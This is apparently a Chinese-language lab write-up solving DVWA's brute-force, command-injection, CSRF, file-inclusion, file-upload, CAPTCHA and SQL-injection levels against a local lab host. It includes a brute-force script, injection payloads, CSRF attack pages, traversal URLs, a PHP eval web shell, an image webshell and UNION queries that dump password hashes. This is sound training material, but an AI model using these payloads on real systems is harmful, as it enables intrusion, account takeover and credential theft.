DVWA-1.1 Brute Force(暴力破解)-Low

  1. <?php
  2. if( isset( $_GET[ 'Login' ] ) ) {
  3. // Get username
  4. $user = $_GET[ 'username' ];
  5. // Get password
  6. $pass = $_GET[ 'password' ];
  7. $pass = md5( $pass );
  8. // Check the database
  9. $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  10. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  11. if( $result && mysqli_num_rows( $result ) == 1 ) {
  12. // Get users details
  13. $row = mysqli_fetch_assoc( $result );
  14. $avatar = $row["avatar"];
  15. // Login successful
  16. echo "<p>Welcome to the password protected area {$user}</p>";
  17. echo "<img src=\"{$avatar}\" />";
  18. }
  19. else {
  20. // Login failed
  21. echo "<pre><br />Username and/or password incorrect.</pre>";
  22. }
  23. ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  24. }
  25. ?>

可以使用万能密码(admin'#)或者爆破用户名密码
传入 username 和 pwd 之后查库对比,没有限制,burp 爆破用户和密码

Burp Suite Intruder的4种攻击类型

同时爆破用户名和密码,选择 Cluster bomb
image.png
常用用户名和密码字典:
image.png
爆破出 admin 账号密码,实际上还有其他用户,时间关系没继续爆破

DVWA-1.2 Brute Force(暴力破解)-Medium

使用 mysqli_real_escape_string 对特殊字符进行转移,万能密码失效,使用和上一题一样的爆破思路

DVWA-1.3 Brute Force(暴力破解)-High-绕过token

提交参数多了 user_token ,抵御 CSRF
image.png
每次刷新密码提交页面(即从服务器返回登录页面)都会包含 usertoken ,提交登录数据包时会携带上。收到数据包后,服务将 usertoken 与 session_token 比较,判断 CSRF 。

使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入

python 脚本单线程爆破,因为一个密码需要对应一个 usertoken ,且一个密码校验完才能进行下一个
思路先访问页面获取到 token ,然后进行爆破

  1. import requests
  2. from bs4 import BeautifulSoup
  3. def getToken():
  4. url = "http://dvaw:8888/vulnerabilities/brute/"
  5. headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}
  6. response = requests.get(url,headers=headers)
  7. soup = BeautifulSoup(response.text,"xml")
  8. usertoken = soup.find_all('input',attrs={'name':'user_token'})[0]["value"]
  9. return usertoken
  10. def attack():
  11. url = "http://dvaw:8888/vulnerabilities/brute/"
  12. headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}
  13. usernames = open("/Users/Sec/tools/密码字典/top1000.txt")
  14. passwords = open("/Users/Sec/tools/密码字典/top1000.txt")
  15. for username in usernames:
  16. for password in passwords:
  17. userToken = getToken()
  18. password = password.strip()
  19. params = {'username':username,'password':password,"Login":"Login","user_token":userToken}
  20. response = requests.get(url,params=params,headers=headers)
  21. if "Welcome to the password protected area" in response.text:
  22. print("username:{}\tpassword:{}\tusertoken:{}\t-----RIGHT".format(username,password,userToken))
  23. break
  24. else:
  25. print("username:{}\tpassword:{}\tusertoken:{}\t-----WRONG".format(username,password,userToken))
  26. if __name__ == "__main__":
  27. attack()

DVWA-2.1 Command Injection(命令注入)-Low

没有任何过滤直接&&执行多条命令

DVWA-2.2 Command Injection(命令注入)-Medium-绕过弱的黑名单

str_replace(find,replace,string,count)函数替换字符串中的一些字符(区分大小写)。

  1. <?php
  2. echo str_replace("world","Peter","Hello world!");
  3. ?>

solve0

  1. 1.1.1.1&ls

solve1

;替换为空,构成了 &&

  1. 1.1.1.1&;&ls

DVWA-2.3 Command Injection(命令注入)-High-绕过强的黑名单

  1. <?php
  2. if( isset( $_POST[ 'Submit' ] ) ) {
  3. // Get input
  4. $target = trim($_REQUEST[ 'ip' ]);
  5. // Set blacklist
  6. $substitutions = array(
  7. '&' => '',
  8. ';' => '',
  9. '| ' => '',
  10. '-' => '',
  11. '$' => '',
  12. '(' => '',
  13. ')' => '',
  14. '`' => '',
  15. '||' => '',
  16. );

'| '多了一个空格,过滤规则错误

  1. 1.1.1.1|ls

DVWA-3.1 CSRF(跨站请求伪造)-Low

mysqli_real_escape_string()将密码中的特殊字符进行转义,抵御 SQL 注入
源码没有校验 token 的地方,只要浏览器之前登录过 DWAV(因为是否登录系统在上层函数有校验),那么访问下面链接就会被修改密码:

  1. http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

换个浏览器就不行了,因为 token 不通用。

DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证

stripos(string,find,start):返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 FALSE。

过滤规则是http包头的Referer参数的值中必须包含主机名
HTTP_REFERER 是来源地址;SERVER_NAME 是主机名

绕过方法

将攻击网页重命名为主机名,访问时 HTTP_REFERER 就带上主机名

例子

修改题目源码,限定主机名为 hack

  1. <?php
  2. if( isset( $_GET[ 'Change' ] ) ) {
  3. // Checks to see where the request came from
  4. if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,"hack") !== false ) {
  5. // Get input
  6. $pass_new = $_GET[ 'password_new' ];
  7. $pass_conf = $_GET[ 'password_conf' ];

根目录下创建文件 hack.php

  1. <html>
  2. <img src="http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change"/>
  3. <h1>404</h1>
  4. </html>

访问[http://dvaw:8888/](http://dvaw:8888/)hack.php即可修改密码

DVWA-3.3 CSRF(跨站请求伪造)-High-绕过token

和 high 爆破密码一样,返回页面时会带有 token ,提交的时候会一同提交用于抵御 CSRF

跨站获取(实际不可行)

写一个攻击网页,受害者点击进入时会以隐藏方式打开页面获取 token ,然后提交修改密码的申请。

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <title>Title</title>
  6. </head>
  7. <script type="text/javascript">
  8. function attack() {
  9. // 获取token
  10. document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  11. // 自动提交修改密码请求
  12. document.getElementById('transfer').submit();
  13. }
  14. </script>
  15. <!--隐藏的内嵌式网页,用于获取token-->
  16. <iframe src="http://dvaw:8888/vulnerabilities/csrf/" id="hack" border="0" style="display: none;"></iframe>
  17. <body onload="attack()">
  18. <form method="get" id="transfer" action="http://dvaw:8888/vulnerabilities/csrf/">
  19. <input type="hidden" name="password_new" value="password">
  20. <input type="hidden" name="password_conf" value="password">
  21. <input type="hidden" name="user_token" value="">
  22. <input type="hidden" name="Change" value="Change">
  23. </form>
  24. </body>
  25. </html>

理论上访问这个网页:http://localhost:8888/hack.html,就能修改密码。实际上浏览器不允许跨域请求,即不允许域名 A 请求域名 B 的内容,但域名 B 可以发送数据给域名 A 。因此无法获取到 token 。
跨域不能实现,需要将代码注入到目标服务器才行,利用 XSS 等注入代码

DVWA-4.1 File Inclusion(文件包含)-Low

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. ?>

page 参数是包含的文件

本地文件包含

http://dvaw:8888/vulnerabilities/fi/?page=/Users/skye/flag

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件
http://dvaw:8888/vulnerabilities/fi/?page=http://localhost:8888/phpinfo.php

DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. $file = str_replace( array( "http://", "https://" ), "", $file );
  6. $file = str_replace( array( "../", "..\"" ), "", $file );
  7. ?>

用 str_replace 将特定字符串替换为空,双写字符串类似于:httphttp://://替换后变成http://

本地文件包含

对于绝对路径没有影响,相对路径需要双写
http://dvaw:8888/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//Users/skye/flag

远程文件包含

http://dvaw:8888/vulnerabilities/fi/?page=hthttp://tp://localhost:8888/phpinfo.php

DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
  6. // This isn't the page we want!
  7. echo "ERROR: File not found!";
  8. exit;
  9. }
  10. ?>

fnmatch() 函数根据指定的模式来匹配文件名或字符串。用在这里就是限制 $file 以file开头。
利用 file 协议就可以绕过这个防护。(浏览器打开本地文件就是用 file 协议)
http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/flag

DVWA-5.1 File Upload(文件上传)-Low

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // Can we move the file to the upload folder?
  7. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  8. // No
  9. echo '<pre>Your image was not uploaded.</pre>';
  10. }
  11. else {
  12. // Yes!
  13. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  14. }
  15. }
  16. ?>
  • $_FILES[ 'uploaded' ][ 'name' ]上传文件再 $_FILES 这个字典里面,提前文件名出来
  • move_uploaded_file移动文件

没有对文件内容、后缀等进行限制,上传一句话木马 getshell

  1. <?php
  2. @eval($_POST['SkYe231'];
  3. ?>

DVWA-5.2 File Upload(文件上传)-Medium-绕过文件类型限制

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. // Is it an image?
  11. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  12. ( $uploaded_size < 100000 ) ) {
  13. // Can we move the file to the upload folder?
  14. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  15. // No
  16. echo '<pre>Your image was not uploaded.</pre>';
  17. }
  18. else {
  19. // Yes!
  20. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  21. }
  22. }
  23. else {
  24. // Invalid file
  25. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  26. }
  27. }
  28. ?>

限制文件类型为 jpeg png ,文件大小不大于 100000

文件包含绕过

难度均在 medium

将后门 1.png 上传到服务器:

  1. <?php
  2. @eval($_POST['SkYe231'];

蚁剑链接:http://dvaw:8888/vulnerabilities/fi/?page=httphttp://://dvaw:8888/hackable/uploads/1.png

修改文件类型

服务器根据 content-type 判断文件类型,当上传 png 时:
image.png
固定 content-type ,将 filename 后缀改为 php
image.png
访问文件时,让服务器当作代码运行
image.png

DVWA-5.3 File Upload(文件上传)-High-绕过文件类型限制

难度均在 high

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11. // Is it an image?
  12. if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
  13. ( $uploaded_size < 100000 ) &&
  14. getimagesize( $uploaded_tmp ) ) {
  15. // Can we move the file to the upload folder?
  16. if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
  17. // No
  18. $html .= '<pre>Your image was not uploaded.</pre>';
  19. }
  20. else {
  21. // Yes!
  22. $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
  23. }
  24. }
  25. else {
  26. // Invalid file
  27. $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  28. }
  29. }
  30. ?>

限制文件后缀、文件大小,需要上传一个真实的图片文件才能通过校验,这里就上传一个图片马

图片马

1.php

  1. <?php
  2. @eval['SkYe231']; ?>

1.png 随便截个图就好了,然后生成图片马,上传

  1. cat 1.png 1.php > hack.png

image.png
之后利用 file 协议绕过检测造成文件包含,执行代码:http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/Sites/DVWA/hackable/uploads/hack.png

DVWA-6.1 Insecure CAPTCHA(不安全的验证码)-Low

  1. <?php
  2. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
  3. // Hide the CAPTCHA form
  4. $hide_form = true;
  5. // Get input
  6. $pass_new = $_POST[ 'password_new' ];
  7. $pass_conf = $_POST[ 'password_conf' ];
  8. // Check CAPTCHA from 3rd party
  9. $resp = recaptcha_check_answer(
  10. $_DVWA[ 'recaptcha_private_key'],
  11. $_POST['g-recaptcha-response']
  12. );
  13. // Did the CAPTCHA fail?
  14. if( !$resp ) {
  15. // What happens when the CAPTCHA was entered incorrectly
  16. $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
  17. $hide_form = false;
  18. return;
  19. }
  20. else {
  21. // CAPTCHA was correct. Do both new passwords match?
  22. if( $pass_new == $pass_conf ) {
  23. // Show next stage for the user
  24. $html .= "
  25. <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
  26. <form action=\"#\" method=\"POST\">
  27. <input type=\"hidden\" name=\"step\" value=\"2\" />
  28. <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
  29. <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
  30. <input type=\"submit\" name=\"Change\" value=\"Change\" />
  31. </form>";
  32. }
  33. else {
  34. // Both new passwords do not match.
  35. $html .= "<pre>Both passwords must match.</pre>";
  36. $hide_form = false;
  37. }
  38. }
  39. }
  40. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
  41. // Hide the CAPTCHA form
  42. $hide_form = true;
  43. // Get input
  44. $pass_new = $_POST[ 'password_new' ];
  45. $pass_conf = $_POST[ 'password_conf' ];
  46. // Check to see if both password match
  47. if( $pass_new == $pass_conf ) {
  48. // They do!
  49. $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  50. $pass_new = md5( $pass_new );
  51. // Update database
  52. $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  53. $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  54. // Feedback for the end user
  55. $html .= "<pre>Password Changed.</pre>";
  56. }
  57. else {
  58. // Issue with the passwords matching
  59. $html .= "<pre>Passwords did not match.</pre>";
  60. $hide_form = false;
  61. }
  62. ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  63. }
  64. ?>
  1. step=1 初始化 CAPTCHA 服务,并检查是否通过验证
  2. step=2 进行更新密码操作,这时认为通过了验证

抓包将 step 修改成 2 就绕过验证操作

DVWA-6.2 Insecure CAPTCHA(不安全的验证码)-Medium

step=2 的时候多了一个 passed_captcha ,抓包的时候加上就好了。

DVWA-6.3 Insecure CAPTCHA(不安全的验证码)-High

  1. if (
  2. $resp ||
  3. (
  4. $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
  5. && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
  6. )
  7. ){

resp 返回值不会控制,抓包修改 g-recaptcha-response 和 USER_AGENT 就能绕过验证,同时开启 token 校验,防止 CSRF

DVWA-7.1 SQL Injection(SQL注入)-Low

  1. 判断闭合符:1'
  2. 判断字段数:1' order by 3#
  3. 判断显示字段位置(顺序):1' union select 1,2#
  4. 获取数据库名:1' union select 1,database()
  5. 获取当前数据库表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = DATABASE()#
  6. 获取表中字段名:1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
  7. 获取表中数据:1' union SELECT 1,group_concat(USER,':',PASSWORD) FROM users#